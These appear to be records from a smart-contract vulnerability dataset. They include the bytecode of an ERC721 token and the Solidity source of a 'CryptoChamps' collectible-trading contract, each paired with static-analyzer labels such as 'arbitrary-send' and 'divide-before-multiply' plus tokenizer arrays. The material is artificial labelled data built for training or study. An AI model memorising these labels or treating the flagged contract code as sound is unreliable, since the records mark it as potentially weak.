b86828701612162565b93505060206122cc86828701612162565b92505060406122dd86828701612212565b9150509250925092565b6000806000806080858703121561230157612300612fbb565b5b600061230f87828801612162565b945050602061232087828801612162565b935050604061233187828801612212565b925050606085013567ffffffffffffffff81111561235257612351612fb6565b5b61235e878288016121b6565b91505092959194509250565b6000806040838503121561238157612380612fbb565b5b600061238f85828601612162565b92505060206123a085828601612177565b9150509250929050565b600080604083850312156123c1576123c0612fbb565b5b60006123cf85828601612162565b92505060206123e085828601612212565b9150509250929050565b600060208284031215612400576123ff612fbb565b5b600061240e8482850161218c565b91505092915050565b60006020828403121561242d5761242c612fbb565b5b600061243b848285016121a1565b91505092915050565b60006020828403121561245a57612459612fbb565b5b600082013567ffffffffffffffff81111561247857612477612fb6565b5b612484848285016121e4565b91505092915050565b6000602082840312156124a3576124a2612fbb565b5b60006124b184828501612212565b91505092915050565b6124c381612d2e565b82525050565b6124d281612d40565b82525050565b60006124e382612c30565b6124ed8185612c46565b93506124fd818560208601612db1565b61250681612fc0565b840191505092915050565b600061251c82612c3b565b6125268185612c57565b9350612536818560208601612db1565b61253f81612fc0565b840191505092915050565b600061255582612c3b565b61255f8185612c68565b935061256f818560208601612db1565b80840191505092915050565b6000612588603283612c57565b915061259382612fd1565b604082019050919050565b60006125ab602683612c57565b91506125b682613020565b604082019050919050565b60006125ce602583612c57565b91506125d98261306f565b604082019050919050565b60006125f1601c83612c57565b91506125fc826130be565b602082019050919050565b6000612614602483612c57565b915061261f826130e7565b604082019050919050565b6000612637601983612c57565b915061264282613136565b602082019050919050565b600061265a601b83612c57565b91506126658261315f565b602082019050919050565b600061267d602c83612c57565b915061268882613188565b604082019050919050565b60006126a0603883612c57565b91506126ab826131d7565b604082019050919050565b60006126c3602a83612c57565b91506126ce82613226565b604082019050919050565b60006126e6602983612c57565b91506126f182613275565b604082019050919050565b6000612709602e83612c57565b9150612714826132c4565b604082019050919050565b600061272c601583612c57565b915061273782613313565b602082019050919050565b600061274f602083612c57565b915061275a8261333c565b602082019050919050565b6000612772603183612c57565b915061277d82613365565b604082019050919050565b6000612795602c83612c57565b91506127a0826133b4565b604082019050919050565b60006127b8602083612c57565b91506127c382613403565b602082019050919050565b60006127db602f83612c57565b91506127e68261342c565b604082019050919050565b60006127fe602183612c57565b91506128098261347b565b604082019050919050565b6000612821603183612c57565b915061282c826134ca565b604082019050919050565b61284081612d98565b82525050565b6000612852828561254a565b915061285e828461254a565b91508190509392505050565b600060208201905061287f60008301846124ba565b92915050565b600060808201905061289a60008301876124ba565b6128a760208301866124ba565b6128b46040830185612837565b81810360608301526128c681846124d8565b905095945050505050565b60006020820190506128e660008301846124c9565b92915050565b600060208201905081810360008301526129068184612511565b905092915050565b600060208201905081810360008301526129278161257b565b9050919050565b600060208201905081810360008301526129478161259e565b9050919050565b60006020820190508181036000830152612967816125c1565b9050919050565b60006020820190508181036000830152612987816125e4565b9050919050565b600060208201905081810360008301526129a781612607565b9050919050565b600060208201905081810360008301526129c78161262a565b9050919050565b600060208201905081810360008301526129e78161264d565b9050919050565b60006020820190508181036000830152612a0781612670565b9050919050565b60006020820190508181036000830152612a2781612693565b9050919050565b60006020820190508181036000830152612a47816126b6565b9050919050565b60006020820190508181036000830152612a67816126d9565b9050919050565b60006020820190508181036000830152612a87816126fc565b9050919050565b60006020820190508181036000830152612aa78161271f565b9050919050565b60006020820190508181036000830152612ac781612742565b9050919050565b60006020820190508181036000830152612ae781612765565b9050919050565b60006020820190508181036000830152612b0781612788565b9050919050565b60006020820190508181036000830152612b27816127ab565b9050919050565b60006020820190508181036000830152612b47816127ce565b9050919050565b60006020820190508181036000830152612b67816127f1565b9050919050565b60006020820190508181036000830152612b8781612814565b9050919050565b6000602082019050612ba36000830184612837565b92915050565b6000612bb3612bc4565b9050612bbf8282612e16565b919050565b6000604051905090565b600067ffffffffffffffff821115612be957612be8612f7d565b5b612bf282612fc0565b9050602081019050919050565b600067ffffffffffffffff821115612c1a57612c19612f7d565b5b612c2382612fc0565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000612c7e82612d98565b9150612c8983612d98565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612cbe57612cbd612ec1565b5b828201905092915050565b6000612cd482612d98565b9150612cdf83612d98565b925082612cef57612cee612ef0565b5b828204905092915050565b6000612d0582612d98565b9150612d1083612d98565b925082821015612d2357612d22612ec1565b5b828203905092915050565b6000612d3982612d78565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015612dcf578082015181840152602081019050612db4565b83811115612dde576000848401525b50505050565b60006002820490506001821680612dfc57607f821691505b60208210811415612e1057612e0f612f1f565b5b50919050565b612e1f82612fc0565b810181811067ffffffffffffffff82111715612e3e57612e3d612f7d565b5b80604052505050565b6000612e5282612d98565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e8557612e84612ec1565b5b600182019050919050565b6000612e9b82612d98565b9150612ea683612d98565b925082612eb657612eb5612ef0565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f6163636f756e7420697320616c72656164792061206d696e7465720000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60008201527f6578697374656e7420746f6b656e000000000000000000000000000000000000602082015250565b7f5265737472696374656420746f206d696e746572730000000000000000000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f45524337323155524953746f726167653a2055524920717565727920666f722060008201527f6e6f6e6578697374656e7420746f6b656e000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b61352281612d2e565b811461352d57600080fd5b50565b61353981612d40565b811461354457600080fd5b50565b61355081612d4c565b811461355b57600080fd5b50565b61356781612d98565b811461357257600080fd5b5056fe68747470733a2f2f73656b6572666163746f72792e6d7970696e6174612e636c6f75642f697066732fa26469706673582212207fcd74de122506f88593c335482147d587684085a45fffe1291b59361a7479a464736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 11387, 7875, 11329, 2581, 2063, 17134, 2692, 2683, 2629, 12879, 2575, 2620, 7875, 2278, 2581, 16932, 2692, 14141, 2278, 2475, 2094, 22610, 24434, 2549, 22414, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 3229, 1013, 2219, 3085, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,652
0x9720b742c04e272b5fd5be56f4b4881aa3597b82
pragma solidity ^0.4.19; contract Ownable{ address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract CryptoChamps is Ownable{ struct Person { uint32 id; string name; uint16 txCount; bool discounted; } event Birth(uint32 _id, uint _startingPrice); event Discount(uint32 _id, uint _newPrice); event Purchase(uint32 indexed _id, address indexed _by, address indexed _from, uint _price, uint _nextPrice); event Transfer(address indexed _from, address indexed _to, uint32 _id); uint public totalSupply = 0; string public name = "CryptoChamps"; string public symbol = "CCH"; address store; mapping (uint32 => Person) private people; mapping (uint32 => address) private personToOwner; mapping (uint32 => uint256) public personToPrice; mapping (uint32 => uint256) public personToOldPrice; mapping (address => uint) private noOfPersonsOwned; mapping (address => bool) private isUserAdded; address[] private users; uint8 BELOW_FIVE = 200; uint8 BELOW_TEN = 150; uint8 BELOW_FIFTEEN = 130; uint8 BELOW_TWENTY = 120; uint8 TWENTY_ABOVE = 110; function CryptoChamps() public{ store = msg.sender; } function createPerson (uint32 _id, string _name, uint256 _startingPrice) external onlyOwner { require(people[_id].id == 0); Person memory person = Person(_id, _name, 0, false); people[_id] = person; personToOwner[_id] = owner; personToPrice[_id] = _startingPrice; totalSupply++; Birth(_id, _startingPrice); } function getPerson(uint32 _id) external view returns (string, uint256, uint256) { Person memory person = people[_id]; require(person.id != 0); return (person.name, personToPrice[_id], person.txCount); } function purchase(uint32 _id) payable public{ uint price = personToPrice[_id] ; address personOwner = personToOwner[_id]; require(msg.sender != 0x0); require(msg.sender != personOwner); require(price <= msg.value); Person storage person = people[_id]; if(price < msg.value){ msg.sender.transfer(msg.value - price); } _handlePurchase(person, personOwner, price); uint newPrice = _onPersonSale(person); if(!isUserAdded[msg.sender]){ users.push(msg.sender); isUserAdded[msg.sender] = true; } Purchase(_id, msg.sender, personOwner, price, newPrice); } function discount(uint32 _id, uint _newPrice) external ownsPerson(_id) returns (bool){ uint price = personToPrice[_id]; require(price > _newPrice); Person storage person = people[_id]; person.discounted = true; personToPrice[_id] = _newPrice; Discount(_id, _newPrice); return true; } function _handlePurchase(Person storage _person, address _owner, uint _price) internal { uint oldPrice = personToOldPrice[_person.id]; if(_person.discounted){ _shareDiscountPrice(_price, _owner); }else{ _shareProfit(_price, oldPrice, _owner); } personToOwner[_person.id] = msg.sender; noOfPersonsOwned[_owner]--; noOfPersonsOwned[msg.sender]++; } function _shareDiscountPrice(uint _price, address _target) internal { uint commision = _price * 10 / 100; _target.transfer(_price - commision); owner.transfer(commision); } function _shareProfit(uint _price, uint _oldPrice, address _target) internal { uint profit = _price - _oldPrice; uint commision = profit * 30 / 100; _target.transfer(_price - commision); owner.transfer(commision); } function _onPersonSale(Person storage _person) internal returns (uint) { uint currentPrice = personToPrice[_person.id]; uint percent = 0; if(currentPrice >= 6.25 ether){ percent = TWENTY_ABOVE; }else if(currentPrice >= 2.5 ether){ percent = BELOW_TWENTY; }else if(currentPrice >= 1 ether){ percent = BELOW_FIFTEEN; }else if(currentPrice >= 0.1 ether){ percent = BELOW_TEN; }else{ percent = BELOW_FIVE; } personToOldPrice[_person.id] = currentPrice; uint newPrice = _approx((currentPrice * percent) / 100); personToPrice[_person.id] = newPrice; _person.txCount++; if(_person.discounted){ _person.discounted = false; } return newPrice; } function _approx(uint _price) internal pure returns (uint){ uint product = _price / 10 ** 14; return product * 10 ** 14; } function transfer(address _to, uint32 _id) external ownsPerson(_id){ personToOwner[_id] = _to; noOfPersonsOwned[_to]++; noOfPersonsOwned[msg.sender]--; Transfer(msg.sender, _to, _id); } function ownerOf(uint32 _id) external view returns (address) { return personToOwner[_id]; } function priceOf(uint32 _id) external view returns (uint256) { return personToPrice[_id]; } function balanceOf(address _owner) external view returns (uint){ return noOfPersonsOwned[_owner]; } function getStore() external view onlyOwner returns (address){ return store; } function setStore(address _store) external onlyOwner returns (bool) { require(_store != 0); store = _store; return true; } function getUsers() external view returns (address[]) { return users; } function withdraw() external onlyOwner returns (bool){ owner.transfer(this.balance); return true; } modifier ownsPerson(uint32 _id){ require(personToOwner[_id] == msg.sender); _; } }
0x606060405260043610610106576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062ce8e3e1461010b57806306fdde0314610175578063087cbd401461020357806318160ddd1461025457806323b7ec3b1461027d5780633ccfd60b146102e657806370a0823114610313578063800974841461036057806380b57824146103a85780638da5cb5b146103f257806395d89b41146104475780639de7d032146104d5578063ab87d8161461051b578063be5cd8b0146105cb578063c2722ecc14610608578063c7f04e651461065d578063e0b3cc901461067b578063f2fde38b146106b8578063f546f427146106f1575b600080fd5b341561011657600080fd5b61011e61072e565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610161578082015181840152602081019050610146565b505050509050019250505060405180910390f35b341561018057600080fd5b6101886107c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c85780820151818401526020810190506101ad565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020e57600080fd5b61023a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610860565b604051808215151515815260200191505060405180910390f35b341561025f57600080fd5b61026761092d565b6040518082815260200191505060405180910390f35b341561028857600080fd5b6102a4600480803563ffffffff16906020019091905050610933565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102f157600080fd5b6102f961097c565b604051808215151515815260200191505060405180910390f35b341561031e57600080fd5b61034a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a58565b6040518082815260200191505060405180910390f35b341561036b57600080fd5b6103a6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803563ffffffff16906020019091905050610aa1565b005b34156103b357600080fd5b6103d8600480803563ffffffff16906020019091908035906020019091905050610c8e565b604051808215151515815260200191505060405180910390f35b34156103fd57600080fd5b610405610df7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045257600080fd5b61045a610e1c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049a57808201518184015260208101905061047f565b50505050905090810190601f1680156104c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104e057600080fd5b610519600480803563ffffffff169060200190919080359060200190820180359060200191909192908035906020019091905050610eba565b005b341561052657600080fd5b610542600480803563ffffffff16906020019091905050611179565b6040518080602001848152602001838152602001828103825285818151815260200191508051906020019080838360005b8381101561058e578082015181840152602081019050610573565b50505050905090810190601f1680156105bb5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34156105d657600080fd5b6105f2600480803563ffffffff16906020019091905050611318565b6040518082815260200191505060405180910390f35b341561061357600080fd5b61061b611330565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610679600480803563ffffffff169060200190919050506113b5565b005b341561068657600080fd5b6106a2600480803563ffffffff1690602001909190505061169b565b6040518082815260200191505060405180910390f35b34156106c357600080fd5b6106ef600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116c4565b005b34156106fc57600080fd5b610718600480803563ffffffff16906020019091905050611762565b6040518082815260200191505060405180910390f35b610736611ca8565b600b8054806020026020016040519081016040528092919081815260200182805480156107b857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161076e575b5050505050905090565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108585780601f1061082d57610100808354040283529160200191610858565b820191906000526020600020905b81548152906001019060200180831161083b57829003601f168201915b505050505081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108bd57600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff16141515156108e357600080fd5b81600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60015481565b6000600660008363ffffffff1663ffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109d957600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610a5157600080fd5b6001905090565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b803373ffffffffffffffffffffffffffffffffffffffff16600660008363ffffffff1663ffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610b1b57600080fd5b82600660008463ffffffff1663ffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f0daf680c3f528a8760b5142fe1f6f80d5f4ea18bb76f347a7a44a2d565c2b7dc84604051808263ffffffff1663ffffffff16815260200191505060405180910390a3505050565b6000806000843373ffffffffffffffffffffffffffffffffffffffff16600660008363ffffffff1663ffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610d0d57600080fd5b600760008763ffffffff1663ffffffff1681526020019081526020016000205492508483111515610d3d57600080fd5b600560008763ffffffff1663ffffffff168152602001908152602001600020915060018260020160026101000a81548160ff02191690831515021790555084600760008863ffffffff1663ffffffff168152602001908152602001600020819055507fc0c05fffb65e712e3a456a9df7b641bff710925c4cabdd8645cbe08b45622af98686604051808363ffffffff1663ffffffff1681526020018281526020019250505060405180910390a16001935050505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb25780601f10610e8757610100808354040283529160200191610eb2565b820191906000526020600020905b815481529060010190602001808311610e9557829003601f168201915b505050505081565b610ec2611cbc565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1d57600080fd5b6000600560008763ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16141515610f6457600080fd5b6080604051908101604052808663ffffffff16815260200185858080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508152602001600061ffff16815260200160001515815250905080600560008763ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101908051906020019061102b929190611cf7565b5060408201518160020160006101000a81548161ffff021916908361ffff16021790555060608201518160020160026101000a81548160ff0219169083151502179055509050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600660008763ffffffff1663ffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600760008763ffffffff1663ffffffff168152602001908152602001600020819055506001600081548092919060010191905055507f3e139bee0b970f2d3b1c823fc47552c3b4a41b6533a608f10c2e57bdbade7a148583604051808363ffffffff1663ffffffff1681526020018281526020019250505060405180910390a15050505050565b611181611d77565b60008061118c611cbc565b600560008663ffffffff1663ffffffff168152602001908152602001600020608060405190810160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112765780601f1061124b57610100808354040283529160200191611276565b820191906000526020600020905b81548152906001019060200180831161125957829003601f168201915b505050505081526020016002820160009054906101000a900461ffff1661ffff1661ffff1681526020016002820160029054906101000a900460ff16151515158152505090506000816000015163ffffffff16141515156112d657600080fd5b8060200151600760008763ffffffff1663ffffffff1681526020019081526020016000205482604001518292508061ffff169050935093509350509193909250565b60076020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138d57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080600080600760008663ffffffff1663ffffffff168152602001908152602001600020549350600660008663ffffffff1663ffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925060003373ffffffffffffffffffffffffffffffffffffffff161415151561144557600080fd5b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561148057600080fd5b34841115151561148f57600080fd5b600560008663ffffffff1663ffffffff1681526020019081526020016000209150348410156114fb573373ffffffffffffffffffffffffffffffffffffffff166108fc8534039081150290604051600060405180830381858888f1935050505015156114fa57600080fd5b5b61150682848661177a565b61150f826118fb565b9050600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561162057600b80548060010182816115789190611d8b565b9160005260206000209001600033909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff168663ffffffff167f632ef8eca99b91e0983da8d88b737b14d6a68b232a018921a81b92ea8d1c677d8785604051808381526020018281526020019250505060405180910390a45050505050565b6000600760008363ffffffff1663ffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561171f57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915090505481565b6000600860008560000160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020019081526020016000205490508360020160029054906101000a900460ff16156117d8576117d38284611b00565b6117e4565b6117e3828285611bbc565b5b33600660008660000160009054906101000a900463ffffffff1663ffffffff1663ffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600190039190505550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050555050505050565b600080600080600760008660000160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001908152602001600020549250600091506756bc75e2d63100008310151561196657600c60049054906101000a900460ff1660ff169150611a00565b6722b1c8c1227a00008310151561199157600c60039054906101000a900460ff1660ff1691506119ff565b670de0b6b3a7640000831015156119bc57600c60029054906101000a900460ff1660ff1691506119fe565b67016345785d8a0000831015156119e757600c60019054906101000a900460ff1660ff1691506119fd565b600c60009054906101000a900460ff1660ff1691505b5b5b5b82600860008760000160009054906101000a900463ffffffff1663ffffffff1663ffffffff16815260200190815260200160002081905550611a4f6064838502811515611a4957fe5b04611c80565b905080600760008760000160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020019081526020016000208190555084600201600081819054906101000a900461ffff168092919060010191906101000a81548161ffff021916908361ffff160217905550508460020160029054906101000a900460ff1615611af55760008560020160026101000a81548160ff0219169083151502179055505b809350505050919050565b60006064600a8402811515611b1157fe5b0490508173ffffffffffffffffffffffffffffffffffffffff166108fc8285039081150290604051600060405180830381858888f193505050501515611b5657600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611bb757600080fd5b505050565b60008083850391506064601e8302811515611bd357fe5b0490508273ffffffffffffffffffffffffffffffffffffffff166108fc8287039081150290604051600060405180830381858888f193505050501515611c1857600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611c7957600080fd5b5050505050565b600080655af3107a400083811515611c9457fe5b049050655af3107a40008102915050919050565b602060405190810160405280600081525090565b608060405190810160405280600063ffffffff168152602001611cdd611db7565b8152602001600061ffff1681526020016000151581525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611d3857805160ff1916838001178555611d66565b82800160010185558215611d66579182015b82811115611d65578251825591602001919060010190611d4a565b5b509050611d739190611dcb565b5090565b602060405190810160405280600081525090565b815481835581811511611db257818360005260206000209182019101611db19190611dcb565b5b505050565b602060405190810160405280600081525090565b611ded91905b80821115611de9576000816000905550600101611dd1565b5090565b905600a165627a7a72305820ddd93dc7641706a5db9ab52dcc4ce848ae28ea556a834ce5ba8f581aede31bb90029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 11387, 2497, 2581, 20958, 2278, 2692, 2549, 2063, 22907, 2475, 2497, 2629, 2546, 2094, 2629, 4783, 26976, 2546, 2549, 2497, 18139, 2620, 2487, 11057, 19481, 2683, 2581, 2497, 2620, 2475, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2539, 1025, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 3853, 2219, 3085, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2069, 12384, 2121, 2270, 1063, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 3206, 19888, 11663, 25167, 2003, 2219, 3085, 1063, 2358, 6820, 6593, 102 ]
